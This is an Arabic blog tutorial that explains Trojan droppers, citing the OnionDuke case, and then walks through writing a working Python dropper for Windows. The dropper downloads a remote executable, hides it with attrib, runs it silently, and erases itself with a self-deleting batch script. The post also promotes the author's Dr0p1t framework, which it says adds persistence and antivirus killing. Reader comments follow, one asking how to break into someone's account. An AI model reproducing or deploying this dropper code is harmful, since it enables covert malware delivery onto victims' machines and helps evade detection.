ماهي البرمجيه الخبيثه Dropper وكيف تبرمج بلغه البايثون مع نظره علي أداه Dr0p1t
تقيمك :وصلنا لمرحله أننا أصبحنا كل يوم نري تطور البرمجيات خبيثه أكثر وأكثر واليوم بأذن الله سنتحدث عن شكل من أشكالها وهي ليست برمجيه جديده ولكنها ليست معروفه للجميع ايضا وهي الـDropper
ماهو الـTrojan Dropper ؟
هو نوع من البرمجيات الخبيثه والذي تتكمن وظيفته في أن يقوم بتحميل ملف خبيث علي جهازك وتشغيله دون أن تشعر بشئ .
ولكي يقوم هذا الدروبر بهذا فأنه يفعل بذلك بطريقه من أثنين ليتخطي برامج الحمايه وهي أنه أما يكون يحتوي بالفعل علي كود الفايروس ويقوم بأنشائه وتشغيله مباشرتاً وهي عمليه من مرحله واحده..
الطريقه الثانيه وهي الشائعه بين هذه البرمجيات وهي أن يقوم بتحميل الملف الخبيث من علي الأنترنت بحيث يكون مبرمج الدروبر قد رفع الملف الخبيث مسبقا علي موقع من مواقع التخزين الألكتروني وبرمج الدروبر علي أن يحمله ومن ثم يقوم بتشغيله وكما نري هي عمليه من مرحلتين.
وفي الغالب يقوم الدروبر بمسح نفسه بعد أنجاز المهمه .
مثال :
في سنه 2014 أكتشف فريق f-secure برمجيه OnionDuke والتي كانت تنتشر في أجهزه مستخدمين شبكه الـTOR !
هذه البرمجيه تتكون من ملفين الملف الأول عباره عن دروبر وهو الملف الأساسي المستخدم للأنتشار حيث قام مؤلفين هذه البرمجيه بتجهيز بربط جهاز مجهز لنشر الدروبر وربطه بالشبكه حتي يكون بمثابه TOR Node (تستطيع القرائه أكثر عن كيفيه عمل شبكه الـTOR أو الأنتظار مقالنا عنها قريبا 😉 ) ولكن هنا لن يكون مجرد TOR Node عاديه فعندما يقوم أحد مستخدمين الشبكه بتحميل ملف من علي شبكه التور والبيانات تمر من خلال هذه العقده , يحقن الدروبر في الملف بشكل تلقائي وبعدما يقوم المستخدم بتشغيل الملف يبدأ الدروبر بالعمل ويكون الملف الأساسي للبرمجيه الخبيثه للسيطره علي الجهاز وتقوم برامج الحمايه بتصنيف هذا الدروبر كا Trojan-Dropper:W32/OnionDuke.A .
الملف الثاني هو عباره عن ملف DLL يكون بداخل الدروبر والذي يكون في ظاهره صوره GIF لكنه في الواقع ملف DLL فيقوم الدروبر بتشغيل هذا الملف وعندما يعمل الملف يقوم بالأتصال بسيرفر الـC&C في أنتظار مؤلفين البرمجيه ( أو المتحكمين في السيرفر بشكل عام ) بأن يقوموا بتنفيذ أوامر علي الجهاز من تنزيل برمجيات خبيثه أخري وتثبيتها وما الي ذلك وتقوم برامج الحمايه بتصنيف هذا الملف كا Backdoor:W32/OnionDuke .
قمنا من قبل بالكتابه عن الـC&C Servers تستطيع أن تقرأ عنها من هنا
والأن سنري كيف يمكن برمجه Dropper بلغه البايثون :
سنقوم ببرمجه دروبر من النوع الثاني الذي يقوم بتحميل الملفات الخبيثه الأخري من علي الأنترنت حيث أنه الأكثر شيوعا.
اولا من أجل تنزيل الملف سأستخدم داله urlretrieve من مكتبه urllib وسنستهدف بيئه عمل نظام الويندوز في شرحنا .
أذا كنت علي بايثون أصدار 2 فتقوم بعمل استيراد للداله هكذا
1 |
from urllib import urlretrieve |
وأذا كنت علي بايثون أصدار 3 فتقوم بعمل أستيراد للداله هكذا
1 |
from urllib.request import urlretrieve |
الأن هذه الداله تأخذ متغيرين واحد هو الرابط والأخر الأسم وسنجعل هنا أسم الملف ثابت وسيكون hosts.exe ولذلك سوف نعبر عن الأمر كالأتي :
1 |
urlretrieve(url,"hosts.exe") |
الأن قمنا بتحميل الملف ولكن قبل تشغيله سنقوم بأخفائه ولعمل هذا سنستعين بمكتبه subprocess فنقوم بأستدعائها :
1 |
import subprocess |
والأن ننفذ أمر attrib بسيط لأخفاء الملف ولكن سنوجه المُخرج الي البايب حتي لا يكون هناك أي أخراج
1 |
subprocess.Popen("attrib +s +h hosts.exe",shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE) |
الأن فقط نستطيع تشغيل الملف كالأتي :
1 |
subprocess.Popen("hosts.exe",shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE) |
الأن أصبح لدينا دروبر بسيط يقوم بتحميل ملف وأخفائه وتشغيله ولكن يظل ينقصه بعض اللمسات مثل أن يقوم بمسح نفسه بعد الأنتهاء من المهمه فكيف نقوم بذلك ؟ 😀
لتكتب كود يجعل السكربت يمسح نفسه يعتبر من الأشياء الشبه مستحيله في البايثون ولذلك سنستعين بلغه batchfile لنقوم بعمل ملف bat يمسح السكربت ومن ثم يمسح نفسه 😀
سيكون الكود الذي سيكون في الملف الـBat كالأتي :
1 2 3 4 |
@echo off TASKKILL /F /IM "Dropper_Name" DEL -f "Dropper_Name" DEL "%~f0" |
الأن لنشرحه سطر سطر :
السطر الأول @echo off وهي أساسيه عند بدء كتابه أي ملف بات حتي لا يقوم الملف بعمل أوت بوت أو أخراج بمعني أخر
السطر الثاني نقوم به بأستخدام الأمر TASKKILL لعمل قتل للدروبر مع أستخدام سويتش /F لأجباره علي قتله وسويتش /IM لأنني سأعطيه أسم الملف الدروبر وليس الـPID ومن ثم بعدها نكتب أسم الدروبر
السطر الثالث نمسح الدروبر نفسه مع أستخدام سويتش -f لأجبار الملف علي مسحه
السطر الرابع نجعل ملف البات يقرأ أسمه ومن ثم يمسح نفسه وهذه الخدعه هي أننا جعلناه يقرأ أسمه عن طريق الـCommandline Argument رقم 0 والذي هو أسم الملف
الأن بعدما شرحنا الملف الم تلاحظ شيئا ما ؟
كيف سنعرف أسم الدروبر لنعطيه لملف البات ليقوم بمسحه ؟ فمن المحتمل أن يتغير أسم الدروبر الي أسم اخر غير الذين سميناه أياه !
الخدعه أننا سنجعل الدروبر يستطيع أن يقرأ أسمه وهذا ينفذ ببساطه عن طريق مكتبه sys فنقوم أولا بأستدعائها :
1 |
from sys import executable |
والأن سنستخدم داله executable من المكتبه لنعرف أسم الملف ولكنه سيكون المسار الكامل ولذلك سنقوم بعمل فرز له ونأتي بأسم الملف فقط من المسار
1 |
filename = executable.split("\\")[-1] |
وبعدها نقوم بتشغيله فتصبح الأن داله التدمير الذاتي كالأتي 😀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
from sys import executable def selfdestruct(): filename = executable.split("\\")[-1] data = '''@echo off TASKKILL /F /IM "{0}" break>{0} DEL -f "{0}" break>"%~f0" && DEL "%~f0" '''.format( filename ) f = open("1.bat","w") f.write(data) f.close() xxx = subprocess.Popen("1.bat >> NUL",shell=True) selfdestruct() |
وهكذا الأن نكون قد شرحنا برمجه دروبر بسيط خاص بنا ولكن هل سمعت عن أداه Dr0p1t ؟؟
أداه Dr0p1t هي أداه جديده تقوم بعمل دروبر خاص بك ولكنه ليس بمثل بساطه الذي قمنا بشرحه الأن فهي بها بعض المزايا والتي هي عباره عن المهام التي تستطيع القيام بها قبل تشغيل الملف الخاص بك وبعده مثل جعله يعمل مع تشغيل الجهاز أو قتل الأنتي فايروس المثبت علي الجهاز.
تستطيع أن تقرأ عنه أكثر من الرابط الخاص به : https://github.com/D4Vinci/Dr0p1t-Framework
وهذه بعض الصور له من علي Github :
دمتم بود والسلام عليكم ورحمه الله

كريم, عمري 21 سنه, هاكر أخلاقي ومطور أجيد العديد من اللغات وأكثرهم أستخداما هى البايثون ومهتم بالعديد من المجالات المتعلقه بالحمايه وعلوم الكومبيوتر بشكل عام. لي العديد من الأدوات المعروفه مثل Dr0p1t ,QRLJacker ,Cr3dOv3r , One-Lin3r و PasteJacker فأنا أحب برمجه أدوات أختبار الأختراق وأكتشاف الثغرات الأمنيه بشكل عام وما الى ذلك.
التعليقات
akrem deba
10 أغسطس، 2017 الساعة 12:33 صthank you bro 🙂
إبراهيم
11 أغسطس، 2017 الساعة 12:41 صنشكركم على المجهودات وبانتظار مقالات آخر بشوق 🙂
karim
17 سبتمبر، 2017 الساعة 6:55 ماطلعت على سورس كود لم أضن أن أحد العرب قد يصل لهذا مستوى مع بايثون , جميل
مللت من من أغبياء نت و سكربت كيدز
أول تعليق لي في موقع عربي
رغم أني متأكد من أن لا أحد أو قلة سيفهمونك
لكن هناك أمل
N080DY
11 أكتوبر، 2017 الساعة 9:12 مأنا أعرف بعض العرب يمتلكون أدوات أقوى ._.
صفوت
3 نوفمبر، 2017 الساعة 2:34 مممن اتعلم الاختراق ….يعني عايز اخش ع الحساب الي انا عايزه
jack
17 نوفمبر، 2017 الساعة 6:04 مvery nice bro 🙂
sds
7 ديسمبر، 2017 الساعة 8:24 مجميلة جدا شروحاتك
humod
7 ديسمبر، 2017 الساعة 8:25 مجميلة جدا شروحاتك
mustapha
17 يوليو، 2018 الساعة 2:13 صجميلة جدا شروحاتك good